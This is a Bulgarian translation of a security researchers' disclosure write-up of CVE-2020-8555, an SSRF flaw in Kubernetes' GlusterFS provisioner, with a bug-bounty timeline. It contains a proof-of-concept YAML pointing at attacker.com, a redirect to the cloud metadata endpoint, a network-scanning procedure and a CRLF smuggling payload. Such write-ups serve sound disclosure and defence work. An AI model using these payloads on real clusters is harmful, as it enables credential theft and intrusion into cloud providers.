Когато не става въпрос само за уязвимостите на Kubernetes...

Забележка. превод: авторите на тази статия разказват подробно за това как са успели да открият уязвимостта CVE-2020–8555 в Kubernetes. Въпреки че първоначално не изглеждаше много опасно, в комбинация с други фактори критичността му се оказа максимална за някои облачни доставчици. Няколко организации щедро възнаградиха специалистите за тяхната работа.

Когато не става въпрос само за уязвимостите на Kubernetes...

Кои сме ние

Ние сме двама френски изследователи по сигурността, които съвместно откриха уязвимост в Kubernetes. Имената ни са Brice Augras и Christophe Hauquiert, но в много платформи за награди за грешки сме известни съответно като Reeverzax и Hach:

Какво стана?

Тази статия е нашият начин да споделим как един обикновен изследователски проект неочаквано се превърна в най-вълнуващото приключение в живота на ловците на буболечки (поне засега).

Както вероятно знаете, ловците на грешки имат няколко забележителни характеристики:

  • живеят на пица и бира;
  • те работят, когато всички останали спят.

Ние не сме изключение от тези правила: обикновено се срещаме през уикендите и прекарваме безсънни нощи в хакване. Но една от тези нощи завърши по много необичаен начин.

Първоначално щяхме да се срещнем, за да обсъдим участие в CTF следващият ден. По време на разговор за сигурността на Kubernetes в управлявана сервизна среда си спомнихме старата идея на SSRF (Фалшифициране на заявка от страна на сървъра) и реши да опита да го използва като скрипт за атака.

В 11 часа седнахме да си направим изследванията и си легнахме рано сутринта, много доволни от резултатите. Именно благодарение на това изследване се натъкнахме на програмата MSRC Bug Bounty и измислихме експлойт за ескалиране на привилегии.

Минаха няколко седмици/месеца и нашият неочакван резултат доведе до една от най-високите награди в историята на Azure Cloud Bug Bounty – в допълнение към тази, която получихме от Kubernetes!

Въз основа на нашия изследователски проект Комитетът за сигурност на продуктите на Kubernetes публикува CVE-2020–8555.

Сега бих искал да разпространя информацията за откритата уязвимост, доколкото е възможно. Надяваме се да оцените находката и да споделите техническите подробности с други членове на информационната общност!

И така, ето нашата история...

контекст

За да разберем най-добре случилото се, нека първо да разгледаме как работи Kubernetes в среда, управлявана от облак.

Когато създавате екземпляр на Kubernetes клъстер в такава среда, нивото на управление обикновено е отговорност на доставчика на облак:

Когато не става въпрос само за уязвимостите на Kubernetes...
Контролният слой се намира в периметъра на доставчика на облак, докато Kubernetes възлите са разположени в периметъра на клиента

За динамично разпределяне на томове се използва механизъм за динамичното им предоставяне от външен бекенд за съхранение и сравняването им с PVC (искане за постоянен обем, т.е. заявка за том).

По този начин, след като PVC е създаден и обвързан със StorageClass в клъстера K8s, по-нататъшните действия за осигуряване на обема се поемат от мениджъра на kube/cloud контролера (точното му име зависи от изданието). (Забележка. превод: Вече писахме повече за CCM, използвайки примера за внедряването му за един от облачните доставчици тук.)

Има няколко типа доставчици, поддържани от Kubernetes: повечето от тях са включени в оркестраторно ядро, докато други се управляват от допълнителни доставчици, които се поставят в подове в клъстера.

В нашето изследване се съсредоточихме върху вътрешния механизъм за предоставяне на обем, който е илюстриран по-долу:

Когато не става въпрос само за уязвимостите на Kubernetes...
Динамично осигуряване на томове с помощта на вградения доставчик на Kubernetes

Накратко, когато Kubernetes е разгърнат в управлявана среда, мениджърът на контролера е отговорност на доставчика на облак, но заявката за създаване на обем (номер 3 в диаграмата по-горе) напуска вътрешната мрежа на доставчика на облак. И тук нещата стават наистина интересни!

Хакерски сценарий

В този раздел ще обясним как се възползвахме от работния процес, споменат по-горе, и получихме достъп до вътрешните ресурси на доставчика на облачна услуга. Освен това ще ви покаже как можете да извършвате определени действия, като например получаване на вътрешни идентификационни данни или повишаване на привилегиите.

Една проста манипулация (в този случай, Service Side Request Forgery) помогна да се премине отвъд клиентската среда в клъстери от различни доставчици на услуги под управлявани K8.

В нашето изследване се фокусирахме върху доставчика на GlusterFS. Въпреки факта, че по-нататъшната последователност от действия е описана в този контекст, Quobyte, StorageOS и ScaleIO са податливи на същата уязвимост.

Когато не става въпрос само за уязвимостите на Kubernetes...
Злоупотреба с механизъм за предоставяне на динамичен обем

По време на анализ на класа на съхранение GlusterFS в изходния код на клиента Golang ние забелязантова при първата HTTP заявка (3), изпратена по време на създаване на том, до края на персонализирания URL адрес в параметъра resturl добавен /volumes.

Решихме да се отървем от този допълнителен път, като добавихме # в параметър resturl. Ето първата YAML конфигурация, която използвахме, за да тестваме за полусляпа SSRF уязвимост (можете да прочетете повече за полусляп или полусляп SSRF, например, тук - прибл. превод):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

След това използвахме двоичния файл за дистанционно управление на клъстера Kubernetes kubectl. Обикновено облачните доставчици (Azure, Google, AWS и т.н.) ви позволяват да получите идентификационни данни за използване в тази помощна програма.

Благодарение на това успях да използвам моя „специален“ файл. Kube-controller-manager изпълни получената HTTP заявка:

kubectl create -f sc-poc.yaml

Когато не става въпрос само за уязвимостите на Kubernetes...
Отговорът от гледна точка на нападателя

Малко след това успяхме да получим и HTTP отговор от целевия сървър - чрез командите describe pvc или get events в kubectl. И наистина: този драйвер на Kubernetes по подразбиране е твърде многословен в своите предупреждения/съобщения за грешка...

Ето един пример с връзка към https://www.google.frзададен като параметър resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Когато не става въпрос само за уязвимостите на Kubernetes...

При този подход бяхме ограничени до заявки като HTTP POST и не можа да получи съдържанието на тялото на отговора, ако кодът за връщане беше 201. Затова решихме да проведем допълнително проучване и разширихме този хакерски сценарий с нови подходи.

Еволюцията на нашите изследвания

  • Разширен сценарий #1: Използване на пренасочване 302 от външен сървър за промяна на HTTP метода, за да се осигури по-гъвкав начин за събиране на вътрешни данни.
  • Разширен сценарий #2: Автоматизирайте LAN сканирането и откриването на вътрешни ресурси.
  • Разширен сценарий #3: използване на HTTP CRLF + контрабанда („контрабанда на заявки“) за създаване на персонализирани HTTP заявки и извличане на данни, извлечени от регистрационни файлове на kube-controller.

Технически спецификации

  • Изследването използва Azure Kubernetes Service (AKS) с Kubernetes версия 1.12 в региона на Северна Европа.
  • Сценариите, описани по-горе, бяха изпълнени на най-новите версии на Kubernetes, с изключение на третия сценарий, т.к. той се нуждаеше от Kubernetes, изграден с Golang версия ≤ 1.12.
  • Външен сървър на нападателя - https://attacker.com.

Разширен сценарий #1: Пренасочване на HTTP POST заявка към GET и получаване на чувствителни данни

Оригиналният метод беше подобрен чрез конфигурацията на сървъра на атакуващия за връщане 302 HTTP Retcodeза да конвертирате POST заявка в GET заявка (стъпка 4 в диаграмата):

Когато не става въпрос само за уязвимостите на Kubernetes...

Първа заявка (3), идваща от клиента GlusterFS (Controller Manager), има тип POST. Следвайки тези стъпки, успяхме да го превърнем в GET:

  • Като параметър resturl в StorageClass е посочено http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php отговаря с 302 HTTP статус код със следната заглавка на местоположението: http://169.254.169.254. Това може да бъде всеки друг вътрешен ресурс - в този случай връзката за пренасочване се използва само като пример.
  • По подразбиране net/http библиотека Golang пренасочва заявката и преобразува POST в GET с код на състоянието 302, което води до HTTP GET заявка към целевия ресурс.

За да прочетете тялото на HTTP отговора, което трябва да направите describe PVC обект:

kubectl describe pvc xxx

Ето пример за HTTP отговор във формат JSON, който успяхме да получим:

Когато не става въпрос само за уязвимостите на Kubernetes...

Възможностите на откритата уязвимост по това време бяха ограничени поради следните точки:

  • Невъзможност за вмъкване на HTTP заглавки в изходящата заявка.
  • Невъзможност за изпълнение на POST заявка с параметри в тялото (това е удобно за изискване на стойността на ключа от екземпляр на etcd, работещ на 2379 порт, ако се използва некриптиран HTTP).
  • Невъзможност за извличане на съдържанието на тялото на отговора, когато кодът на състоянието е 200 и отговорът няма JSON Content-Type.

Разширен сценарий #2: Сканиране на локалната мрежа

След това този полусляп SSRF метод беше използван за сканиране на вътрешната мрежа на доставчика на облак и анкетиране на различни услуги за слушане (инстанция на метаданни, Kubelet и т.н. и т.н.) въз основа на отговорите kube контролер.

Когато не става въпрос само за уязвимостите на Kubernetes...

Първо бяха определени стандартните портове за слушане на компонентите на Kubernetes (8443, 10250, 10251 и т.н.), а след това трябваше да автоматизираме процеса на сканиране.

Виждайки, че този метод за сканиране на ресурси е много специфичен и не е съвместим с класическите скенери и SSRF инструменти, решихме да създадем наши собствени работници в bash скрипт, който автоматизира целия процес.

Например, за бързо сканиране на обхвата 172.16.0.0/12 на вътрешната мрежа, бяха стартирани паралелно 15 работни програми. Горният обхват на IP е избран само като пример и може да подлежи на промяна в обхвата на IP на вашия конкретен доставчик на услуги.

За да сканирате един IP адрес и един порт, трябва да направите следното:

  • изтрийте последния отметнат StorageClass;
  • премахнете предишното проверено искане за постоянен обем;
  • променете стойностите на IP и порт sc.yaml;
  • създайте StorageClass с нов IP и порт;
  • създаване на нов PVC;
  • извличане на резултатите от сканиране с помощта на описание за PVC.

Разширен сценарий #3: CRLF инжектиране + контрабанда на HTTP в „стари“ версии на клъстера Kubernetes

Ако в допълнение към това доставчикът предложи на клиентите стари версии на клъстера K8s и им даде достъп до регистрационните файлове на kube-controller-manager, ефектът стана още по-значим.

Наистина е много по-удобно за атакуващия да промени HTTP заявките, предназначени да получат пълен HTTP отговор по свое усмотрение.

Когато не става въпрос само за уязвимостите на Kubernetes...

За да се реализира последният сценарий, трябваше да бъдат изпълнени следните условия:

  • Потребителят трябва да има достъп до регистрационните файлове на kube-controller-manager (както например в Azure LogInsights).
  • Клъстерът Kubernetes трябва да използва версия на Golang по-ниска от 1.12.

Ние внедрихме локална среда, която симулира комуникация между клиента GlusterFS Go и фалшив целеви сървър (засега ще се въздържим от публикуване на PoC).

Е намерено уязвимост, засягащи версии на Golang по-ниски от 1.12 и позволяващи на хакерите да извършват HTTP контрабанда/CRLF атаки.

Чрез комбиниране на полуслепия SSRF, описан по-горе вместе с това успяхме да изпратим заявки по наш вкус, включително замяна на заглавки, HTTP метод, параметри и данни, които kube-controller-manager след това обработи.

Ето пример за работеща „примамка“ в параметър resturl StorageClass, който прилага подобен сценарий на атака:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Резултатът е грешка непоискан отговор, съобщение за което се записва в регистрационните файлове на контролера. Благодарение на многословността, активирана по подразбиране, съдържанието на съобщението за HTTP отговор също се записва там.

Когато не става въпрос само за уязвимостите на Kubernetes...

Това беше нашата най-ефективна „примамка“ в рамките на доказателството за концепцията.

Използвайки този подход, успяхме да извършим някои от следните атаки върху клъстери на различни управлявани доставчици на k8s: ескалация на привилегии с идентификационни данни на копия на метаданни, Master DoS чрез (некриптирани) HTTP заявки на etcd master инстанции и т.н.

вещи

В официалното изявление на Kubernetes относно SSRF уязвимостта, която открихме, тя беше оценена CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Ако вземем предвид само уязвимостта, свързана с периметъра на Kubernetes, векторът на интегритета (вектор на интегритета) се квалифицира като None.

Въпреки това, оценката на възможните последствия в контекста на управлявана сервизна среда (и това беше най-интересната част от нашето изследване!) ни подтикна да прекласифицираме уязвимостта в рейтинг Критичен CVSS10/10 за много дистрибутори.

По-долу е допълнителна информация, която да ви помогне да разберете нашите съображения, когато оценяваме потенциалните въздействия в облачни среди:

интегритет

  • Изпълнявайте команди дистанционно, като използвате придобити вътрешни идентификационни данни.
  • Възпроизвеждане на горния сценарий с помощта на метода IDOR (Несигурна директна референция на обект) с други ресурси, намерени в локалната мрежа.

Конфиденциалност

  • Тип атака Странично движение благодарение на кражба на идентификационни данни в облака (например API за метаданни).
  • Събиране на информация чрез сканиране на локалната мрежа (определяне на SSH версия, версия на HTTP сървър, ...).
  • Събирайте информация за екземпляри и инфраструктура чрез запитване на вътрешни API, като например API за метаданни (http://169.254.169.254, ...).
  • Кражба на клиентски данни с помощта на облачни идентификационни данни.

наличност

Всички сценарии за експлойт, свързани с вектори на атака интегритет, може да се използва за разрушителни действия и да доведе до недостъпност на главните инстанции от клиентския периметър (или който и да е друг).

Тъй като бяхме в управлявана среда на K8s и оценявахме въздействието върху целостта, можем да си представим много сценарии, които биха могли да повлияят на наличността. Допълнителни примери включват повреждане на базата данни etcd или извършване на критично извикване на Kubernetes API.

хронология

  • 6 декември 2019 г.: Уязвимостта е докладвана на MSRC Bug Bounty.
  • 3 януари 2020 г.: Трета страна информира разработчиците на Kubernetes, че работим по проблем със сигурността. И ги помоли да считат SSRF за вътрешна (вътрешна) уязвимост. След това предоставихме общ доклад с технически подробности за източника на проблема.
  • 15 януари 2020 г.: Предоставихме технически и общи доклади на разработчиците на Kubernetes по тяхна заявка (чрез платформата HackerOne).
  • 15 януари 2020 г.: Разработчиците на Kubernetes ни уведомиха, че полусляпото инжектиране на SSRF + CRLF за минали версии се счита за уязвимост в ядрото. Веднага спряхме да анализираме периметрите на други доставчици на услуги: екипът на K8s сега се занимаваше с първопричината.
  • 15 януари 2020 г.: MSRC награда, получена чрез HackerOne.
  • 16 януари 2020 г.: Kubernetes PSC (Комитет за сигурност на продукта) разпозна уязвимостта и поиска да я запази в тайна до средата на март поради големия брой потенциални жертви.
  • 11 февруари 2020 г.: Получена награда за Google VRP.
  • 4 март 2020 г.: Наградата Kubernetes, получена чрез HackerOne.
  • 15 март 2020 г.: Първоначално планираното публично оповестяване е отложено поради ситуацията с COVID-19.
  • 1 юни 2020 г.: Съвместно изявление на Kubernetes + Microsoft относно уязвимостта.

TL; DR

  • Пием бира и ядем пица :)
  • Открихме вътрешна уязвимост в Kubernetes, въпреки че нямахме намерение да го правим.
  • Проведохме допълнителен анализ на клъстери от различни облачни доставчици и успяхме да увеличим щетите, причинени от уязвимостта, за да получим допълнителни страхотни бонуси.
  • В тази статия ще намерите много технически подробности. Ще се радваме да ги обсъдим с вас (Twitter: @ReeverZax & @__hach_).
  • Оказа се, че всякакви формалности и отчитане отнемат много повече от предвиденото.

Позоваването

PS от преводача

Прочетете също в нашия блог:

Източник: www.habr.com

Добавяне на нов коментар